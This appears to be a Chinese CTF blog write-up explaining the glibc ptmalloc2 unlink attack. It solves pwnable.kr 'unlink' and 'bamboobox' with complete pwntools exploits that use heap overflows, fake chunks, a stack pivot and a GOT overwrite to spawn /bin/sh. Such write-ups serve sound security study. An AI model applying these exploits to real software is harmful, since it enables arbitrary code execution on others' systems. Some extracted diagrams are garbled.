Pwn Ptmalloc2 Unlink

注意
本文最后更新于 2022-07-18,文中内容可能已过时。

终于进堆了. 先扯一点题外话. 感觉这段时间学堆, 颇有之前刚入门硬学 Linux 链接装载那方面的知识的感觉, 难啃. 其实一早就做过 CTF Wiki 上的 Off By One, 觉得不太好写. 现在倒是想明白了, 漏洞和攻击是两种不同的概念, CTF Wiki 的内容组织还是不够人性化. 把攻击方式没讲就先讲漏洞, 导致漏洞明白了, 怎么攻击完全不知道. 那我就从攻击方式来写了, 漏洞穿插在里面讲就行. 关于堆的基础知识, 应该不会总结, 因为自己都不明白. 边学着, 说不定哪天豁然开朗, 再来总结总结.

如未特殊说明, 均假定 libc 2.23, 64 位.

简单说一下, 一会有个题.

Unlink 是双向链表的删除操作. 简单来说, 就是下面这样的代码:

1
2
3
4
5
6
void unlink(P) {
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK;
  BK->fd = FD;
}

glibc 最开始的 unlink 就是这么写的, 很简单.

1
2
3
4
5
6
7
8
9
/* take a chunk off a list */

#define unlink(P, BK, FD)                                                     \
{                                                                             \
  BK = P->bk;                                                                 \
  FD = P->fd;                                                                 \
  FD->bk = BK;                                                                \
  BK->fd = FD;                                                                \
}                                                                             \

当 P 的 fd, bk 指针指向后继节点和前驱节点时, 这个操作没有任何问题. 不过, 如果 fd 和 bk 并不是这样, 而是指向了其他地方, 但是程序只会机械地进行这个操作, 还是继续执行, 于是就向不改写入数据的地方, 写入了不改写入的数据. 如果能够控制指针指向对我们有利的地方, 比如说能够进行操作的位置, 那么就有可能实现攻击.

但是, glibc 2.3 添加了指针的检测:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
    malloc_printerr (check_action, "corrupted double-linked list", P); \
  else {                                                               \
    FD->bk = BK;                                                       \
    BK->fd = FD;                                                       \
  }                                                                    \
}

glibc 2.6 又添加了 large chunk 链表的检测. (这里暂时用不到, 先不贴代码)

glibc 2.26 又添加了 chunk 大小的检测. 因为下一个 chunk 记录了 presize, 应该等于这一个 chunk 记录的 size.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;                     \
    BK = P->bk;                     \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))         \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                      \
        FD->bk = BK;                    \
        BK->fd = FD;                    \
        ... // large chunk unlink part \
      }                       \
}

这样, 我们在就必须绕过大小检测和链表检测. 大小检测好绕, 因为一般来说我们是知道堆 (或者伪造的堆) 的大小的, 覆盖进去就行. 链表检测稍微麻烦一点.

由于需要 FD->bk == PBK->fd == P, 那么可以找一个存了 P 的地址的地方, 假如是 &addr [addr = P, P 是 (伪造) 堆的 chunk header 地址]. 那么, 由于 FD->bk 等同于 *(FD + 3 * sizeof(void*)) = *(FD + 3 * 8) (假如为 64 位程序), BK->fd 等同于 *(BK + 2 * 8), 所以, 可以将 FD 设为 &addr - 0x18, BK 设为 &addr - 0x10. 这样就能够绕过检测了.

这样 Unlink 会得到什么样的效果呢? 首先 FD->bk = BK, 就有了 addr = &addr - 0x10, 然后 BK->fd = FD, 就有 addr = &addr - 0x18. 如果 (void*(&addr - 0x18))[3] 可以修改, 堆内容可以读写, 那就相当于具有了任意地址读写的能力.

能够触发 unlink 的操作有 (来源于 CTF Wiki):

  • malloc
    • 从恰好大小合适的 large bin 中获取 chunk
    • 从比请求的 chunk 所在的 bin 大的 bin 中取 chunk
  • free (非 fast chunk)
    • 后向合并, 合并物理相邻低地址空闲 chunk
    • 前向合并, 合并物理相邻高地址空闲 chunk (除了 top chunk)
  • malloc_consolidate
    • 后向合并, 合并物理相邻低地址空闲 chunk
    • 前向合并, 合并物理相邻高地址空闲 chunk (除了 top chunk)
  • realloc
    • 前向扩展, 合并物理相邻高地址空闲 chunk (除了 top chunk)

如果有可能, 会都找到对应的题目, 然后写在例题里的.

ssh unlink@pwnable.kr -p2222 (pw: guest)

学习 Unlink 的经典题. 这题涉及 Unlink 攻击的 Unlink 部分原理, 为接下来实际 Ptmalloc2 中的 Unlink 打下基础.

这题不仅给了二进制程序, 而且给了源码, 连 ssh 进去就看得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
  struct tagOBJ* fd;
  struct tagOBJ* bk;
  char buf[8];
}OBJ;

void shell(){
  system("/bin/sh");
}

void unlink(OBJ* P){
  OBJ* BK;
  OBJ* FD;
  BK=P->bk;
  FD=P->fd;
  FD->bk=BK;
  BK->fd=FD;
}
int main(int argc, char* argv[]){
  malloc(1024);
  OBJ* A = (OBJ*)malloc(sizeof(OBJ));
  OBJ* B = (OBJ*)malloc(sizeof(OBJ));
  OBJ* C = (OBJ*)malloc(sizeof(OBJ));

  // double linked list: A <-> B <-> C
  A->fd = B;
  B->bk = A;
  B->fd = C;
  C->bk = B;

  printf("here is stack address leak: %p\n", &A);
  printf("here is heap address leak: %p\n", A);
  printf("now that you have leaks, get shell!\n");
  // heap overflow!
  gets(A->buf);

  // exploit this unlink!
  unlink(B);
  return 0;
}

代码是模拟了 unlink 的操作, 漏洞是堆溢出. 开始, A B C 被链在了一起 (A B C 地址由低到高), 如下图:

b p u s r f b f i e A [ k d z s 8 e i ] z e N M P b p u s r f b f i e B [ k d z s 8 e i ] z e N M P b p u s r C f b f i e [ k d z s 8 e i ] z e N M P

B->fd 中是 C 的地址, B->bk 中是 A 的地址.

执行 Unlink(B) 的时候, 首先 FD = B->fd; BK = B->bk 然后 FD->bk = BK; BK->fd = FD. 如果 B 中的 bk 和 fd 被堆溢出修改掉了, 那么会出现什么样的效果呢?

假如, 我们修改 B->fd 的值为 0xdeeeba70, B->bk 的值为 0xb1acb12d (假设后续操作均有相应权限), 那么, FD = 0xdeeeba70, BK = 0xb1acb12d, 然后 FD->bk 其实就是 FD + 0x4 (32 位) 位置, 即 0xdeeeba74. 其中的数据将变成 0xb1acb12d, 同理 0xb1acb12d 中的数据将变为 0xdeeeba70. 那这样实际上我们其实是具有 任意地址写 的能力.

看一下如何利用这个任意地址写, 来获得 shell. 查看 ./unlink 的信息, 32 位 ELF, 没开 PIE. 有后门函数, 那么考虑将 main 函数的返回地址改为后门函数地址. 但是, 直接将 B->fd 改为返回地址 (-4), B->bk 改为后门函数地址 (-4) 是不行的. 原因在于, Unlink 操作会对两部分都进行 的操作, 但是后门函数在代码段, 不具有写的权限. 所以这里要另想办法.

反汇编可以看到, 在 main 函数的 leave; ret 周围, 插入了一些奇怪的代码:

1
2
3
4
0x080485ff      mov   ecx, dword [ebp - 4]
0x08048602      leave
0x08048603      lea   esp, [ecx - 4]
0x08048606      ret
技巧
lea reg1, [reg2] 是将 reg2 的值赋给 reg1, 不是 reg2 指向的地址的内容. 麻了, 因为这个想了一下午. lea reg1, reg2 这样的语句是不存在的. lea reg1, [reg2] 等同于 mov reg1, reg2.

这里可以看到, ebp - 4 里的值会赋值给 ecx, 然后 leave, esp 到返回地址. 接下来修改 esp 为 ecx - 4 里的值, 即修改了栈顶指针. 那如果将 esp 修改到栈或堆上某一处被写入为后门函数地址的地方, ret 后就可以得到 sehll 了. 由于堆上数据可以写, 我们可以方便地将后门函数写上去, 并且程序告诉了我们堆的地址, 假如在 A 的 buf 起始位置处写入了后门函数地址, 利用 lea esp, [ecx-4], 若能将 ecx - 4 的值设为 &(A->buf), 也就是 ecx = &(A->buf) + 4. 然后 esp 跳到 &(A->buf), 之后 ret, 使得 eip 变为 esp 指向的数据, 也就是后门函数地址, 那么就可以达到攻击的效果. 而 ecx 的值, 是从 ebp - 4 这个地方得到的, 所以最终需要的是, [ebp - 4] = &(A->buf) + 4.

接下来分析如何任意地址写. 找一个写的代码, 比如 FD->bk = BK, 也就是 *(FD + 4) = BK. 利用这一点和上述分析, ebp - 4 = FD + 4, BK = &(A->buf) + 4. 这样 FD 就是 ebp - 8. 这么设置以后, FD->bk = BK 会将 ebp - 4 的值设为 &(A->buf) + 4, 然后 BK->fd = FD 会 *(&(A->buf) + 4) = ebp - 8. 这并不会对攻击造成影响.

调试一下, ebp - 8 到给出的栈地址偏移是 +12. &(A->buf) + 4 到给出来的堆地址的偏移可以计算, 为 4 * 3 = +12.

然后简单计算, &(B->fd) 到 &(A->buf) 的偏移是 4 * 4 = +16 (buf[8] + presize + size, 远程环境没有更多的对齐了), 所以填充是 16 - 4 = 12.

本地测试的时候可能由于 libc 版本问题, 偏移是 20, 而且就算偏过去了, system 执行的时候还是会出错, 具体原因是因为迁移了 esp 到堆上, 然后 system 函数中一顿操作, 导致 esp 跑到了堆外面, 没了读写权限, 就寄了. 没 patch 上低版本的 libc, 不知道为啥.

写一下过程吧. 首先将堆布置成这样:

& ( A - > b u B f K ) - > + f d 4 a d d p a r s r a _ b f i e A a s k d z s a e e i h z l e l N M P l l e e a a k k b _ _ u h s a a f e t a a B [ a a a a 8 p c a a ] k + + 1 2 1 2 b p u s r f b f i e C [ k d z s 8 e i ] z e N M P s t a c k e F e b D b p - p > b - k 8

接下来执行 FD->bk = BK:

& ( A - > b u B f K ) - > + f d 4 a d d p a r s r a _ b f i e A a s k d z s a e e i h z l e l N M P B K - > b k l l e e a a k k b _ _ u h s a a f e t a a B [ a a a a 8 p c a a ] k + + 1 2 1 2 b p u s r f b f i e C [ k d z s 8 e i ] z e N M P l e a k _ h s e t a a p c k + 1 2 e F F e b D D b p - - p > > b f - k d 8

(草, 箭头好乱, 结合内容看吧)

然后 BK->fd = FD:

& ( A - > b u B f K ) - > + f d 4 l e a k a _ d s d p t r s r a _ b f i e A c s k d z s k e e i h z + l e l 1 N 2 M P B K - > b k l l e e a a k k b _ _ u h s a a f e t a a B [ a a a a 8 p c a a ] k + + 1 2 1 2 b p u s r f b f i e C [ k d z s 8 e i ] z e N M P l e a k _ h s e t a a p c k + 1 2 e F F e b D D b p - - p > > b f - k d 8

这样, 我们成功向 ebp - 4 上写入了 &(A->buf) + 4. 然后执行 mov ecx, dword [ebp - 4], ecx = &(A->buf) + 4, leave 不管, 接下来 lea esp, [ecx - 4], esp = &(A->buf). 最后 ret, eip 跳到了 addr_shell 的位置.

当然, 我们也可以用 BK->fd = FD 这个写代码. 也是一样分析, *BK = FD, BK = ebp - 4, FD = &(A->buf) + 4. 那么写入 bk 的值就是给的栈地址 +16 的偏移, 写入 fd 的值是给的堆地址 + 12 的偏移.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os="linux",arch="i386",log_level='debug')

# io = process('./unlink')
remote = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
io = remote.process('./unlink')

elf = ELF('./unlink')
io.recvuntil(b'here is stack address leak: ')
stack = int(io.recvline(keepends=False), 16)
io.recvuntil(b'here is heap address leak: ')
heap = int(io.recvline(keepends=False), 16)
io.recvline()

shell = elf.sym['shell']
debug(f'shell_addr: {hex(shell)}')

payload = p32(shell) + b'a' * 12 + p32(stack + 12) + p32(heap + 12) # FD->bk = BK
# payload = p32(shell) + b'a' * 12 + p32(heap + 12) + p32(stack + 16) # BK->fd = FD

io.sendline(payload)
io.interactive()

写不动了, 这里估计写起来更长, 摆一会, 过几天再写.

这题可能算入门题吧, 查看一下信息, 64 位 ELF, 没开 PIE, Partial RELRO, 可以很方便修改 got 表.

glibc 是 2.23, 但是尝试了一下修改 next_chunk presize != size, 异常了, 不知道为什么…

逆向部分跳过了, 不是重点.

numitemlist 是全局变量.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

show_item:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( itemlist[i].name )
      printf("%d : %s", (unsigned int)i, itemlist[i].name);
  }
  return puts("");
}

add_item:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( !size )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !itemlist[i].name )
      {
        itemlist[i].size = size;
        itemlist[i].name = (char *)malloc(size);
        printf("Please enter the name of item:");
        itemlist[i].name[(int)read(0, itemlist[i].name, size)] = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

change_item:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
  int index; // [rsp+4h] [rbp-2Ch]
  int size; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( itemlist[index].name )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      size = atoi(nptr);
      printf("Please enter the new name of the item:");
      itemlist[index].name[(int)read(0, itemlist[index].name, size)] = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

remove_item:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
  int index; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( itemlist[index].name )
    {
      free(itemlist[index].name);
      itemlist[index].name = 0LL;
      itemlist[index].size = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

首先寻找漏洞, 发现在 change_item 中, 没有对 size 进行检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned __int64 change_item()
{
    ...
    if ( itemlist[index].name )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      size = atoi(nptr);
      printf("Please enter the new name of the item:");
      itemlist[index].name[(int)read(0, itemlist[index].name, size)] = 0;
    }
    ...
}

那么这里存在 堆溢出 漏洞. 可以修改到高地址 chunk 的指针, 有机会 unlink 攻击. 由于 remove_item 中有 free, 可以尝试 free 触发 unlink.

先来看一下 glibc 2.23 free 的源码, 这里只放出来和 unlink 攻击相关的部分:

首先 freelibc_hidden_def (__libc_free) 成了 __libc_free:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  // 如果有钩子 __free_hook, 则执行钩子, 不执行之后的 free
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  // free(NULL) 不起作用
  if (mem == 0)                              /* free(0) has no effect */
    return;

  // 将用户数据空间地址, 即 malloc 得到的地址, 转换成指向 chunk header 的地址
  // #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
  // 即减去 size 和 presize 的偏移, 就是 2 * SIZE_SZ
  p = mem2chunk (mem);

  // 如果是 mmap 得到的, 不属于 heap. 有另一种 free 的方法
  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      ...
    }

  // 顾名思义, 得到当前 chunk p 的 arena
  ar_ptr = arena_for_chunk (p);
  // 这里才是真正 free 的地方
  _int_free (ar_ptr, p, 0);
}
libc_hidden_def (__libc_free)

然后看 _int_free. 内容比较多, 只放出来相关部分, 跳过了锁和安全检查的部分:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
/*
   ------------------------------ free ------------------------------
 */

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  const char *errstr = NULL;
  int locked = 0;

  size = chunksize (p);

  // 一些简单的检查
  ...

  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */
  /*
    如果 size 在 fastbin 最大以内, 丢入 fastbin 中.
    下面的代码不用细看, 因为没有 unlink 操作. 下面就不放了.
    所以, 要触发 free 的 unlink, 至少是 small chunk
    #define get_max_fast() global_max_fast
    变量的定义也是通过计算得到的, 有些复杂, 直接说结论
    global_max_fast 大小是 0x80
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
  If TRIM_FASTBINS set, don't place chunks
  bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
    ...
  }

  /*
    Consolidate other non-mmapped chunks as they arrive.
  */
  // 如果不是 mmap 得到的, 那就是 small chunk 和 large chunk
  else if (!chunk_is_mmapped(p)) {

    ...

    nextchunk = chunk_at_offset(p, size);

    ...

    nextsize = chunksize(nextchunk);

    ...

    /* consolidate backward */
    // 向后合并. 如果上一个 chunk 是 free chunk
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /*
        上面三句可以看到, 现在的 p 变成了前面一个 chunk 的地址了.
        然后 unlink 前面一个 chunk
        unlink 是一个宏, 它里面会对 bck 和 fwd 修改
        就直接修改了当前函数的局部变量 bck, fwd 了
      */
      unlink(av, p, bck, fwd);
    }

    // 如果前不是 top chunk
    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      // 向前合并. 如果下一个 (非 top) chunk 是 free chunk
      if (!nextinuse) {
  unlink(av, nextchunk, bck, fwd);
  size += nextsize;
      } else
  clear_inuse_bit_at_offset(nextchunk, 0);

      /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
      */

      // 放入 unsort bin 中
      ...

      // 设置头部的 size
      set_head(p, size | PREV_INUSE);
      // 设置下一个 chunk 头部的 presize
      set_foot(p, size);

      ...
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */
    // 前一个是 top chunk, 合并到 top chunk
    else {
      ...
    }

    ...

  /*
    If the chunk was allocated via mmap, release via munmap().
  */
  // 最后如果是 mmap 得到的, 用另一种方法释放
  else {
    munmap_chunk (p);
  }
}

(删去了与本题无关的部分, 代码还是很短的, 能看)

可以看到这几个要点:

  1. chunk 大于 0x80 时, 才会触发 unlink
  2. 向后合并时, unlink 的是 低地址 chunk
  3. 向前合并是, unlink 的是 高地址 chunk

我们可以先申请一块 0x20 大小的 mem (chunk size 是 0x30), 再申请一块 0x80 大小的 mem (chunk size 是 0x90 > 0x80). 然后修改第一块 chunk 的 mem 内容, 在用户数据空间上, 伪造一个 0x20 大小的 fake chunk. 并通过溢出覆盖下一块的 presize 为 0x20, 然后覆盖 size 的 PRE_INUSE 位 (第 0 位) 为 0, 让程序认为, fake chunk 是一个 free chunk. 然后去 free 第二个 chunk. 这样就会 unlink fake chunk 了. 所以, 需要在 fake chunk 上布置指针. 由于第一次 malloc 返回的地址就是指向 fake chunk, 所以能够在 .bss 段上找到这个 fake chunk 的地址, 这样, fd 和 bk 就可以设置成 .bss 段相应位置的地址了.

具体布置如下:

i i t t m e e m l l i i s s i t t t [ [ e 1 0 m ] ] l - - i > > s n n t a a [ m m 0 e e ] m m . e e b m m s s B A & & i i t t e e m m l l i i 0 0 s s 0 0 x x t t x x 9 2 [ [ 2 0 3 0 0 0 0 0 1 0 h ] ] e a - - p 0 0 x x 0 1 8 0 0 1 | 0 x s p b f s p s p 8 i r k d i r i r 0 z e z e z e e _ e _ e _ s s s i i i z z z e e e f a k e c h u n c k c h h u u n n k k B A

这样以后, 能够绕过大小检查和链表检查.

unlink 后的效果, 就是原本 itemlist[0]->name 中的 mem A, 变成了 &itemlist[0] - 0x10, 即 .bss 段的布局如下:

& i i i t t t e m e m e m l l l i i i & s s s i t t t t [ [ [ e 0 1 0 m ] ] ] l - - i - > > s n n t 0 a a [ x m m 0 1 e e ] 0 & i t e m . l b i s s s m t e [ m 0 ] B - 0 x 1 0

这样, 再进行 change_item(0), 修改 “堆” 上的数据, 实际上修改的是 .bss 段上的数据. 还有一个 show 的功能, 能够打印出 itemlist[i]->name 指向的地址中的数据. 那么我们可以通过修改和打印操作, 获得任意地址写的功能.

假如修改覆盖掉 itemlist[0]->name 中的数据为 .got 表中的 atoi 项的地址, 然后再 show, 就可以得到 atoi 函数的映射地址了. 用它减去 libc 中的 atoi 地址, 得到 libc offset, 计算得到 system 的映射地址.

此时, 再 change_item(0), 就是修改 got 表中 atoi 项的数据了. 直接覆盖前 8 个字节为 system 的映射地址, 就达到修改 got 表的作用了.

程序在任何一个 atoi 前没有检查参数是不是数字型字符, 所以这时执行 atoi(input), 实际上是执行 system(input). 那么, 输入 "/bin/sh", 就可以 get shell 了.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

io = process('./bamboobox')
elf = ELF('./bamboobox')
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

def n2b(num):
  return str(num).encode()

def op(i):
  io.sendafter(b'Your choice:', n2b(i))

def add(length, name):
  op(2)
  io.sendafter(b'Please enter the length of item name:', n2b(length))
  io.sendafter(b'Please enter the name of item:', name)

def show():
  op(1)

def change(index, length, name):
  op(3)
  io.sendafter(b'Please enter the index of item:', n2b(index))
  io.sendafter(b'Please enter the length of item name:', n2b(length))
  io.sendafter(b'Please enter the new name of the item:', name)

def remove(index):
  op(4)
  io.sendafter(b'Please enter the index of item:', n2b(index))

add(0x20, b'a' * 0x20)
add(0x80, b'b' * 0x80)

itemlist = elf.sym['itemlist']
itemlist_0_name_ptr = itemlist + 0x8

fake_chunk = p64(0)
fake_chunk += p64(0x21)
fake_chunk += p64(itemlist_0_name_ptr - 0x8 * 3)
fake_chunk += p64(itemlist_0_name_ptr - 0x8 * 2)

overlap = p64(0x20)
overlap += p64(0x90)

change(0, len(fake_chunk + overlap), fake_chunk + overlap)
remove(1)

got_atoi = elf.got['atoi']
payload = p64(0) * 3 + p64(got_atoi)
change(0, len(payload), payload)
show()
io.recvuntil(b'0 : ')
atoi = u64(io.recv(6).ljust(8, b'\x00'))
success(f'atoi_addr: {hex(atoi)}')

libc_atoi = libc.sym['atoi']
libc_offset = atoi - libc_atoi
system = libc.sym['system'] + libc_offset

payload = p64(system)
change(0, len(payload), payload)
io.sendafter(b'Your choice:', '/bin/sh')
io.interactive()